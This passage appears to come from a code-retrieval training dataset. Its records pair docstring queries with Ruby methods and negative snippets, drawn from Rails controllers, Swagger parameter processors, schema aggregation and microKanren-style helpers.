notice: 'rota was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rota.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @opcion = Opcion.find(params[:id])\n\n if @opcion.update(params[:opcion])\n head :no_content\n else\n render json: @opcion.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico_cruzeiro.update(servico_cruzeiro_params)\n format.html { redirect_to @servico_cruzeiro, notice: 'Cruzeiro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_cruzeiro.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(opcion_params)\n format.html { redirect_to @objeto, notice: 'Opcion was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @cargo_eleicao = CargoEleicao.find(params[:id])\n\n respond_to do |format|\n if @cargo_eleicao.update_attributes(params[:cargo_eleicao])\n format.html { redirect_to @cargo_eleicao, notice: 'Cargo eleicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cargo_eleicao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @observacoesrelatorio.update(observacoesrelatorio_params)\r\n format.html { redirect_to @observacoesrelatorio, notice: 'Observacoesrelatorio was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @observacoesrelatorio.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @osoba.update(osoba_params)\n format.html { redirect_to @osoba, notice: 'Osoba was successfully updated.' }\n format.json { render :show, status: :ok, location: @osoba }\n else\n format.html { render :edit }\n format.json { render json: @osoba.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @productos_json.update(productos_json_params)\n format.html { redirect_to @productos_json, notice: 'Productos json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @productos_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @taco = Taco.find(params[:id])\n\n if @taco.update(taco_params)\n head :no_content\n else\n render json: @taco.errors, status: :unprocessable_entity\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
def aggregate_schema(type, write: false) end
def aggregate_schema(type, write: false) in_dir, out_dir = get_dirs(type) jsons = aggregate(in_dir) schema = Convert.jsons_to_schema(jsons) if write path = "#{out_dir}/schema-#{Time.current.strftime('%s%2N')}.json" File.write(path, JSON.pretty_generate(schema)) end schema end
[ "def aggregate_type\n raise NotImplementedError\n end", "def aggregate op, type = :fixnum\n check_closed\n\n aggregation_impl op, type\n end", "def schema\n @_schema\n end", "def sql_type_metadata; end", "def generate_schema( measure_candidate )\n end", "def schema_multirange_type(db_type)\n @pg_multirange_schema_types[db_type] || super\n end", "def define_aggregate(field, options={})\n if columns_hash[field.to_s].nil?\n raise ArgumentError, \"Field #{field} does not exist in table #{table_name}\"\n end\n options[:type] ||= :sum\n\n aggregate_field = AggregateField.new(self, columns_hash[field.to_s],\n options[:type], options)\n aggregate_fields << aggregate_field\n rescue Object=>err\n raise if err.is_a?(ArgumentError) || err.is_a?(ActiveRecord::ConnectionNotEstablished)\n logger.error \"Error on define_aggregate ignored: #{err.message}\"\n end", "def schema\n @schema\n end", "def schema_array_type(db_type)\n :array\n end", "def schema_column_type(db_type)\n db_type == 'hstore' ? :hstore : super\n end", "def pg_array_schema_type(type)\n @pg_array_schema_types[type]\n end", "def type_schema\n steps.type_schema\n end", "def build_schema(**args)\n if object.respond_to?(:each)\n build_collection_schema(args)\n else\n Surrealist.build_schema(instance: self, **args)\n end\n end", "def store_aggregates\n raise NotImplementedError\n end", "def build_schema(**args)\n if Helper.collection?(object)\n build_collection_schema(**args)\n else\n Surrealist.build_schema(instance: self, **args)\n end\n end", "def add_to_schema(type, attrs)\n attrs.each do |attr|\n schema << [type, attr.to_sym]\n end\n end", "def sorted_schema_check; schema_check(:cast => true); end", "def add_type(type)\n # like sequel storage, we are donig nothing\n end", "def add_field_schema(name, type, schema)\n @field_names ||= [] ; @field_schemas ||= {}\n @field_names = @field_names | [name]\n schema = schema.symbolize_keys.merge({ :name => name })\n #\n # FIXME: this is terrible, especially given what's in TypeFactory anyway.\n #\n schema[:type] =\n case\n when type == Hash && schema.has_key?(:values) then Icss::Meta::TypeFactory.receive({ :type => :hash, :values => schema.delete(:values)})\n when type == Array && schema.has_key?(:items) then Icss::Meta::TypeFactory.receive({ :type => :array, :items => schema.delete(:items) })\n when type == Hash then IdenticalHashFactory\n when type == Array then IdenticalArrayFactory\n else\n Icss::Meta::TypeFactory.receive(type)\n end\n fld = (field_schemas[name] || make_field_schema).merge(schema)\n fld[:parent] = self\n @field_schemas[name] = fld\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Walk environment S and look up value of U, if present.
def walk(u, s) if var?(u) pr = assp(-> (v) { u == v }, s) pr ? walk(cdr(pr), s) : u else u end end
[ "def find_subst u, x\n u.each do |sub|\n if sub[0] == x\n return sub[1]\n end\n end\n nil\n end", "def eval_prog env\n\t\tresults = env.select { |pair| pair[0] == @s }\n\t\tif results.length > 0\n=begin\n for i in 0..results.length-1\n puts results[i][0]\n puts results[i][1]\n puts \"\\n\"\n end\n=end\n results[0][1]\n\t\telse\n\t\t\traise (\"var not found: \" + @s)\n\t\tend\n\tend", "def find(path, type, setting)\n value = nil\n old_scope = nil\n\n matching_sets(path, type).each do |set|\n if set[\"values\"].key?(setting) && has_precedence?(old_scope, set[\"scope\"])\n value = set[\"values\"][setting]\n old_scope = set[\"scope\"]\n end\n end\n value\n end", "def find(uid, params)\n environments = list(params)\n environments.select { |e| e['uid'] == uid }\n end", "def unify_var x, e, u\n s = find_subst u, x\n if s && s != x\n return unify1 s, e, u\n end\n\n t = subst(u, e)\n\n if occurs_deeply(x, t)\n return false\n end\n\n return u << [x, t]\n end", "def get_value_for_state(k, us_state)\n if @report\n @report.each do |s|\n if (s.fetch('state')==us_state)\n return s.fetch(k)\n end\n end\n end\n end", "def lookup(key)\n @stack.reverse_each do |level|\n val = level[key]\n return val if val\n end\n nil\n end", "def lookUp(name)\n if @currentPath.empty? then\n return nil unless self.keys.include? name\n return self[name]\n else\n entry = nil\n path = @currentPath.clone\n while !(path.empty?)\n cEntry = get(path)\n entry = cEntry.lookUpLocal(name)\n return entry if entry\n path.exitName\n end\n entry = self[name] if self.keys.include? name\n return entry if entry\n end\n nil\n end", "def lookup_variable(key)\n\n fexp.lookup_variable(key)\n end", "def getVar(tape, name)\n\tmFoundEnv = SubMachine.stub 'lookup3'\n\tmFoundEnv.simpleMerge copy(:env, tape)\n\tmFoundEnv.simpleMerge writeConstant(:ra, 0)\n\n\t# Scan to end of env\n\tmNotFound = scan(:env, :right, BlankSymbol)\n\n\t# look for this in env\n\tmNotFound.simpleMerge scanBefore(:env, :left, :this)\n\n\t# copy reference to current class\n\tmNotFound.simpleMerge copy(:env, tape)\n\n\t# scan to front of objects\n\tmNotFound.simpleMerge scanBefore(:objects, :left, BlankSymbol)\n\n\t# Scans for the right reference\n\tmNF2 = SubMachine.empty 'lookupThis'\n\n\t# checks if we're at the right reference\n\tcheckLoc = eq(tape, :objects)\n\tlink(checkLoc.states[checkLoc.lastFalse], mNF2.first)\n\tcheckLoc.mergeTrue writeConstant(:ra, 1)\n\tlink(checkLoc.states[checkLoc.lastTrue], mNF2.last)\n\n\terrorState = SubMachine.empty 'lookupError'\n\terrorState.simpleMerge writeConstant(:output, 1)\n\terrorState.simpleMerge invert(:output)\n\terrorState.simpleMerge output(:output)\n\tes2 = SubMachine.empty 'lookupErrorHalt'\n\tes2.states[es2.first].transitions = [\n\t\tTransition.new( Hash.new, [Action.new(:halt, nil)], es2.last)]\n\terrorState.simpleMerge es2\n\t\n\tmNF2.states[mNF2.first].transitions = [\n\t\tTransition.new({:objects=>:loc}, [Action.new(:right, :objects)], checkLoc.first ),\n\t\tTransition.new({:objects=>BlankSymbol}, Array.new, errorState.first ),\n\t\tTransition.new(Hash.new, [Action.new(:right, :objects)], mNF2.first)]\n\t\n\tmNF2.merge errorState\n\tmNF2.merge checkLoc\n\n\n\t# at this point mNotFound goes to the object that we're in\n\tmNotFound.simpleMerge mNF2\n\n\tmFoundObjects = copy(:objects, tape)\n\n\tmNF3 = SubMachine.empty 'lookupInObject'\n\tmNF3.states[mNF3.first].transitions = [\n\t\tTransition.new( {:objects => name}, [Action.new(:right, :objects)], mFoundObjects.first),\n\t\tTransition.new( Hash.new, [Action.new(:right, :objects)], mNF3.first)]\n\tmNF3.merge mFoundObjects\n\tlink(mFoundObjects.states[mFoundObjects.last], mNF3.last)\n\n\tmNotFound.simpleMerge mNF3\n\n\t# Go to end of env\n\tm = SubMachine.stub \"getVar-#{tape},#{name}\"\n\tm.simpleMerge scanBefore(:env, :right, BlankSymbol)\n\n\t# look for var in env\n\tm2 = SubMachine.empty 'lookup2'\n\tm2.merge mFoundEnv\n\tlink(mFoundEnv.states[mFoundEnv.last], m2.last)\n\tm2.merge mNotFound\n\tlink(mNotFound.states[mNotFound.last], m2.last)\n\tm2.states[m2.first].transitions = [\n\t\tTransition.new( {:env=> :methodScope}, Array.new, mNotFound.first),\n\t\tTransition.new( {:env=> name}, [Action.new(:right, :env)], mFoundEnv.first),\n\t\tTransition.new( Hash.new, [Action.new(:left, :env)], m2.first)]\n\tm.simpleMerge m2\n\n\tm\n\nend", "def find what = :var, path = []\n path.inject(self) do |branch, k| \n if what == :var && k == path.last\n branch[:variables][ k ]\n else\n branch = branch[ k ] or raise PathError, path.join(' > ')\n end\n end\n end", "def find_value(user, object)\n case object\n when Hash\n object.each.with_object({}) do |(key, value), hash|\n hash[key] = find_value(user, value)\n end\n when Array\n object.map do |value|\n find_value(user, value)\n end\n when Symbol\n if object == :name\n end\n user.public_send(object)\n else\n object\n end\n end", "def lookup_value(key, context=nil)\n [named_context[context] || {}, global].map {|c| c[key]}.compact.first\n end", "def find_value(user, object)\n case object\n when Hash\n object.each.with_object({}) do |(key, value), hash|\n hash[key] = find_value(user, value)\n end\n when Array\n object.map do |value|\n find_value(user, value)\n end\n when Symbol\n user.public_send(object)\n else\n object\n end\n end", "def value(target)\n if @contexts.size > 1\n resolved = @contexts[0..-2].inject(target) do |intermediate, context|\n context.value(intermediate) unless intermediate.nil?\n end\n\n raise ArgumentError,\n \"Couldn't retrieve a value for #{natural_name.downcase}; \" \\\n \"something along the way evaluated to nil\" if resolved.nil?\n\n @contexts.last.value(resolved)\n elsif @contexts.size == 1\n @contexts.first.value(target)\n else\n target\n end\n end", "def lookup_variable(name, expression)\n distance = @locals[expression]\n return @environment.get_at(distance, name) unless distance.nil?\n return @globals.get(name.lexeme)\n end", "def scan parser, s\n parser.parse_environments(@environments, s)\n end", "def find var\n if self.has_key? var\n self\n else\n self.outer.find var unless self.outer.nil?\n end\n end", "def subst u, e\n u.each do |sub|\n if e.terms\n indx = e.terms.index(sub[0])\n if indx\n e.terms[indx] = sub[1]\n end\n end\n end\n e\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Call function f with a fresh variable.
def call_fresh(f) -> (s_c) { c = cdr(s_c) f.call(var(c)).call(cons(car(s_c), c + 1)) } end
[ "def f(x0)\n @f.call(x0)\n end", "def f4(x)\n y = 100\n z = x + y\n return z\nend", "def f(x0, y0)\n @f.call(x0, y0)\n end", "def fresh! \n @fresh = true\n end", "def test_function_savereg\n c = \"float f(float x; float y) { return x*y; }\n float g() { return f(2,3)*f(4,5); }\"\n res = Driver.compile_and_run_multifun(__LINE__, c, 'g')\n assert_equal(120.0, res[:scalar], \"Local variables should be preserved across function calls\")\n end", "def on_fcall(value); end", "def test_f\n stubs(:f1).returns(6)\n # stubs(:f2).returns(2)\n # stubs(:f3).returns(3)\n assert_equal 14, f(0)\n end", "def histogram_factory=(f)\n @mutex.synchronize do\n @histogram_factory = f\n end\n end", "def function_eval(f,i)\n eval(f.gsub(\"x\",i.to_s))\nend", "def f\n F_COND()\n end", "def act(&f)\n f.()\n return true\n end", "def call(*)\n @value.clone\n end", "def fiber=(_); end", "def nowrite_flag=(_arg0); end", "def bar\n foo = 5\n puts foo\nend", "def bind(f)\n Kleisli.new ->a {\n run(a).bind ->b {\n f.(b).run(a)\n }\n }\n end", "def run_function(fun, *args)\n FFI::MemoryPointer.new(FFI.type_size(:pointer) * args.size) do |args_ptr|\n new_values = []\n args_ptr.write_array_of_pointer(fun.params.zip(args).map do |p, a|\n if a.kind_of?(GenericValue)\n a\n else\n value = LLVM.make_generic_value(p.type, a)\n new_values << value\n value\n end\n end)\n result = LLVM::GenericValue.from_ptr(\n C.run_function(self, fun, args.size, args_ptr))\n new_values.each(&:dispose)\n return result\n end\n end", "def foo2\n var = \"REx\"\nend", "def &(f)\n return self.class::new( @val & f )\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Create a response processor
def create_response_value_processor(endpoint_response) response_type = endpoint_response.type if response_type == TYPE_ARRAY processor_for_values = create_processor_for_type('Response', endpoint_response.items, false) Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new('Response', true, processor_for_values) elsif response_type == TYPE_FILE # Don't validate the files' content nil elsif response_type create_processor_for_type('Response', response_type, false) else nil end end
[ "def on_response( &block )\n @postprocessor = block\n end", "def process(payload)\n response = post(payload)\n Response.new(response.body)\n end", "def service(request, response)\n process(request, response)\n end", "def new_response_handler\n ResponseHandler.new\n end", "def create_response(*args)\n Response.new(*args)\n end", "def process!(response_data={})\n @client.post(\"#{path}/process\", response_data)\n end", "def process(request, response)\n @request, @response = request, response\n headers.each { |k,v| @response.headers[k] = v }\n @response.body = render\n @response.status = response_code\n end", "def handle_response(response)\n format = @options[:format] || run_super(:detect_format, response.headers_hash['Content-Type']) \n extractor_class = format == :json ? JsonExtractor : DomExtractor\n\n run_iteration_extractor(response.body, extractor_class) if @response_count == 0 && @iteration_extractor_args\n run_continue_clause(response.body, extractor_class) if @continue_clause_args\n\n super(response)\n end", "def response(&block)\n @response ||= ResponseDefinition.new(&block)\n end", "def proc_render\n streamer = Class.new do\n def each\n 10_000.times do |i|\n yield(\"This is line #{i}\\n\")\n end\n end\n end\n self.response_body = streamer.new\n end", "def build\n objects = ::Grom::Reader.new(@response.body).objects\n objects.map! { |object| @decorators.decorate(object) } unless @decorators.nil?\n\n Parliament::Response::NTripleResponse.new(objects)\n end", "def new\n respond_with(transformation_yield)\n end", "def processor\n @processor ||= Processor.new(options)\n end", "def process!(request, path)\n\t\t\t\tif response = super\n\t\t\t\t\theaders = response[1]\n\t\t\t\t\t\n\t\t\t\t\t# Don't try to convert the response if a content type was explicitly specified.\n\t\t\t\t\tif headers[HTTP::CONTENT_TYPE]\n\t\t\t\t\t\treturn response\n\t\t\t\t\telse\n\t\t\t\t\t\treturn self.response_for(request, response)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def process_response\n job = message.job\n job.data = message.data\n job.message = message.message\n\n if message.ok?\n job.proceed!\n else\n job.error!\n end\n end", "def create_parser\n @parser = ::Http::Parser.new.tap do |p|\n body = ''\n p.on_body = proc {|data| body << data }\n p.on_message_complete = proc {\n process_request(Request.new(self, @parser, body))\n body = ''\n }\n end\n end", "def response\n process\n @response.to_a\n end", "def process_response header, &block\n msgid = header[\"Seq\"]\n\n h = @requests[msgid]\n raise \"No request for #{header}\" if not h\n\n cmd = h[:header]['Command']\n parts = command cmd\n debug \"Processing #{cmd}\"\n\n raise \"No such command #{h}\" unless parts\n\n # This is most likely the ACK\n if not h[:ack?]\n if parts.include? :body\n # ACK comes with a response body\n body = yield\n # Could probably clean up old things like events here, anything not a stream\n end\n h[:ack?] = true\n else\n # Alread ACKed -> should be a stream!\n raise \"Cannot handle #{h}\" unless ['monitor', 'stream', 'query'].include? cmd\n body = yield\n end\n\n resp = Response.new(header, body)\n received_response msgid, resp\n resp\n end", "def initialize(response_pipe, options)\n self.type = InterprocessMessage::TYPES[:message_factory]\n self.response_pipe_path = response_pipe.path\n super(options)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Create a parameter processor for a parameter
def create_parameter_value_processor(parameter) type_name = parameter.type if type_name == TYPE_ARRAY if PRIMITIVE_TYPES.include? parameter.items processor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new( parameter.name, false, parameter.items, parameter.default, parameter.params ) else processor_for_values = create_processor_for_type(parameter.name, parameter.items, false) end Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new( parameter.name, parameter.required, processor_for_values ) elsif PRIMITIVE_TYPES.include? type_name Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new( parameter.name, parameter.required, type_name, parameter.default, parameter.params ) else create_processor_for_type(parameter.name, parameter.type, parameter.required) end end
[ "def on_parameter(param_node)\n process(param_node.prefix)\n process(param_node.value)\n end", "def create_processor_for_type(parameter_name, parameter_type, parameter_required)\n attributes_processors = create_attributes_processors_for_type(parameter_type)\n Sinatra::SwaggerExposer::Processing::SwaggerTypeValueProcessor.new(\n parameter_name,\n parameter_required,\n attributes_processors\n )\n end", "def create_value_preprocessor(parameter)\n type_name = parameter.type\n if type_name == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? parameter.items\n preprocessor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValuePreprocessor.new(\n parameter.name,\n false,\n parameter.items,\n parameter.default,\n parameter.params\n )\n else\n preprocessor_for_values = create_preprocessor_for_type(parameter.name, parameter.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValuePreprocessor.new(parameter.name, parameter.required, preprocessor_for_values)\n elsif PRIMITIVE_TYPES.include? type_name\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValuePreprocessor.new(\n parameter.name,\n parameter.required,\n type_name,\n parameter.default,\n parameter.params\n )\n else\n create_preprocessor_for_type(parameter.name, parameter.type, parameter.required)\n end\n end", "def parameter( parameters )\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n name = nil\n v = nil\n\n begin\n # at line 117:3: ( '*' name= ID | '&' name= ID | name= ID ( '=' v= STRING )? )\n alt_11 = 3\n case look_11 = @input.peek( 1 )\n when T__17 then alt_11 = 1\n when T__18 then alt_11 = 2\n when ID then alt_11 = 3\n else\n raise NoViableAlternative( \"\", 11, 0 )\n end\n case alt_11\n when 1\n # at line 117:5: '*' name= ID\n match( T__17, TOKENS_FOLLOWING_T__17_IN_parameter_342 )\n name = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_346 )\n # --> action\n parameters.splat = name.text \n # <-- action\n\n when 2\n # at line 118:5: '&' name= ID\n match( T__18, TOKENS_FOLLOWING_T__18_IN_parameter_354 )\n name = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_358 )\n # --> action\n parameters.block = name.text \n # <-- action\n\n when 3\n # at line 119:5: name= ID ( '=' v= STRING )?\n name = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_368 )\n # --> action\n param = ANTLR3::Template::Parameter.new( name.text ) \n # <-- action\n # at line 120:5: ( '=' v= STRING )?\n alt_10 = 2\n look_10_0 = @input.peek( 1 )\n\n if ( look_10_0 == T__19 )\n alt_10 = 1\n end\n case alt_10\n when 1\n # at line 120:7: '=' v= STRING\n match( T__19, TOKENS_FOLLOWING_T__19_IN_parameter_382 )\n v = match( STRING, TOKENS_FOLLOWING_STRING_IN_parameter_386 )\n # --> action\n param.default = v.text \n # <-- action\n\n end\n # --> action\n parameters.add( param ) \n # <-- action\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error( re )\n recover( re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n end\n \n return \n end", "def create_processor_for_property(name, type_property, required)\n property_type = type_property.type\n if property_type == TYPE_ARRAY\n if PRIMITIVE_TYPES.include? type_property.items\n processor_for_values = Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n name,\n false,\n type_property.items,\n type_property.properties[:default],\n type_property.properties\n )\n else\n processor_for_values = create_processor_for_type(name, type_property.items, false)\n end\n Sinatra::SwaggerExposer::Processing::SwaggerArrayValueProcessor.new(name, required, processor_for_values)\n elsif PRIMITIVE_TYPES.include? property_type\n Sinatra::SwaggerExposer::Processing::SwaggerPrimitiveValueProcessor.new(\n name,\n required,\n property_type,\n type_property.properties[:default],\n type_property.properties\n )\n else\n create_processor_for_type(name, property_type, required)\n end\n end", "def create_preprocessor_for_type(parameter_name, parameter_type, parameter_required)\n attributes_preprocessors = create_attributes_preprocessors_for_type(parameter_type)\n Sinatra::SwaggerExposer::Processing::SwaggerTypeValuePreprocessor.new(\n parameter_name,\n parameter_required,\n attributes_preprocessors\n )\n end", "def add_parameter\n parameter = self.parameter_class.new\n yield( parameter ) if block_given?\n @parameters << parameter\n parameter\n end", "def parameter(parameters)\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 6)\n name = nil\n v = nil\n\n begin\n # at line 119:3: ( '*' name= ID | '&' name= ID | name= ID ( '=' v= STRING )? )\n alt_11 = 3\n case look_11 = @input.peek(1)\n when T__17 then alt_11 = 1\n when T__18 then alt_11 = 2\n when ID then alt_11 = 3\n else\n nvae = NoViableAlternative(\"\", 11, 0)\n raise nvae\n end\n case alt_11\n when 1\n # at line 119:5: '*' name= ID\n match(T__17, TOKENS_FOLLOWING_T__17_IN_parameter_344)\n name = match(ID, TOKENS_FOLLOWING_ID_IN_parameter_348)\n # --> action\n parameters.splat = name.text \n # <-- action\n\n when 2\n # at line 120:5: '&' name= ID\n match(T__18, TOKENS_FOLLOWING_T__18_IN_parameter_356)\n name = match(ID, TOKENS_FOLLOWING_ID_IN_parameter_360)\n # --> action\n parameters.block = name.text \n # <-- action\n\n when 3\n # at line 121:5: name= ID ( '=' v= STRING )?\n name = match(ID, TOKENS_FOLLOWING_ID_IN_parameter_370)\n # --> action\n param = ANTLR3::Template::Parameter.new( name.text ) \n # <-- action\n # at line 122:5: ( '=' v= STRING )?\n alt_10 = 2\n look_10_0 = @input.peek(1)\n\n if (look_10_0 == T__19) \n alt_10 = 1\n end\n case alt_10\n when 1\n # at line 122:7: '=' v= STRING\n match(T__19, TOKENS_FOLLOWING_T__19_IN_parameter_384)\n v = match(STRING, TOKENS_FOLLOWING_STRING_IN_parameter_388)\n # --> action\n param.default = v.text \n # <-- action\n\n end\n # --> action\n parameters.add( param ) \n # <-- action\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 6)\n\n end\n \n return \n end", "def generateParam(name, value)\n return Param.new(name: name, value: value)\nend", "def transformed_parameter(input)\n parameter_transformers.find {|it| it.can_handle? input }\n .transform(input)\n end", "def parameter\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n return_value = ParameterReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __SPLAT261__ = nil\n __ID262__ = nil\n char_literal263 = nil\n __ID264__ = nil\n __ID266__ = nil\n expression265 = nil\n\n tree_for_SPLAT261 = nil\n tree_for_ID262 = nil\n tree_for_char_literal263 = nil\n tree_for_ID264 = nil\n tree_for_ID266 = nil\n\n begin\n # at line 219:3: ( ^( SPLAT ID ) | ^( '=' ID expression ) | ID )\n alt_36 = 3\n case look_36 = @input.peek( 1 )\n when SPLAT then alt_36 = 1\n when ASGN then alt_36 = 2\n when ID then alt_36 = 3\n else\n raise NoViableAlternative( \"\", 36, 0 )\n end\n case alt_36\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 219:5: ^( SPLAT ID )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __SPLAT261__ = match( SPLAT, TOKENS_FOLLOWING_SPLAT_IN_parameter_1602 )\n\n tree_for_SPLAT261 = @adaptor.copy_node( __SPLAT261__ )\n\n root_1 = @adaptor.become_root( tree_for_SPLAT261, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n __ID262__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1604 )\n\n tree_for_ID262 = @adaptor.copy_node( __ID262__ )\n\n @adaptor.add_child( root_1, tree_for_ID262 )\n\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 220:5: ^( '=' ID expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal263 = match( ASGN, TOKENS_FOLLOWING_ASGN_IN_parameter_1614 )\n\n tree_for_char_literal263 = @adaptor.copy_node( char_literal263 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal263, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n __ID264__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1616 )\n\n tree_for_ID264 = @adaptor.copy_node( __ID264__ )\n\n @adaptor.add_child( root_1, tree_for_ID264 )\n\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_parameter_1618 )\n expression265 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression265.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 3\n root_0 = @adaptor.create_flat_list\n\n\n # at line 221:5: ID\n _last = @input.look\n __ID266__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1626 )\n\n tree_for_ID266 = @adaptor.copy_node( __ID266__ )\n\n @adaptor.add_child( root_0, tree_for_ID266 )\n\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n end\n \n return return_value\n end", "def call_processor(processor, input); end", "def create_proc_with_params\n proc = Proc.new { |a| puts a * 2 }\n #on check on numbers of paramaters\n proc.call(4,6)\n proc.call(5)\nend", "def parameter\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n __IDENTIFIER6__ = nil\n t = nil\n\n begin\n # at line 504:6: t= type IDENTIFIER\n @state.following.push( TOKENS_FOLLOWING_type_IN_parameter_509 )\n t = type\n @state.following.pop\n __IDENTIFIER6__ = match( IDENTIFIER, TOKENS_FOLLOWING_IDENTIFIER_IN_parameter_516 )\n # --> action\n\n @current_method.set_to_parameter_variables(__IDENTIFIER6__.text,VariableSymbol.new(__IDENTIFIER6__.text, t))\n \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end\n \n return \n end", "def process_params_middleware\n Middleware::Builder.new do |b|\n b.use FilterParametersExtractor, self.class.filter_parameters_definition\n b.use FilterParametersValidator\n b.use SortParametersExtractor, self.class.sort_parameters_definition\n b.use SortParametersValidator\n b.use PaginationParametersValidator\n end\n end", "def param(value, param) #method\n @new_context[param] = get_value(value)\n end", "def add_arg_processor(ver,&block)\n raise InvalidArity.new(\"Argument processor must accept one parameter\") if block.arity !=1\n @arg_processors[ver]=block\n @default=ver\n end", "def param(name, value, takes_arg, description)\n Task::Param.new(name, value, takes_arg, description)\n end", "def preproc; end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Create a type parameter processor for a type parameter
def create_processor_for_type(parameter_name, parameter_type, parameter_required) attributes_processors = create_attributes_processors_for_type(parameter_type) Sinatra::SwaggerExposer::Processing::SwaggerTypeValueProcessor.new( parameter_name, parameter_required, attributes_processors ) end
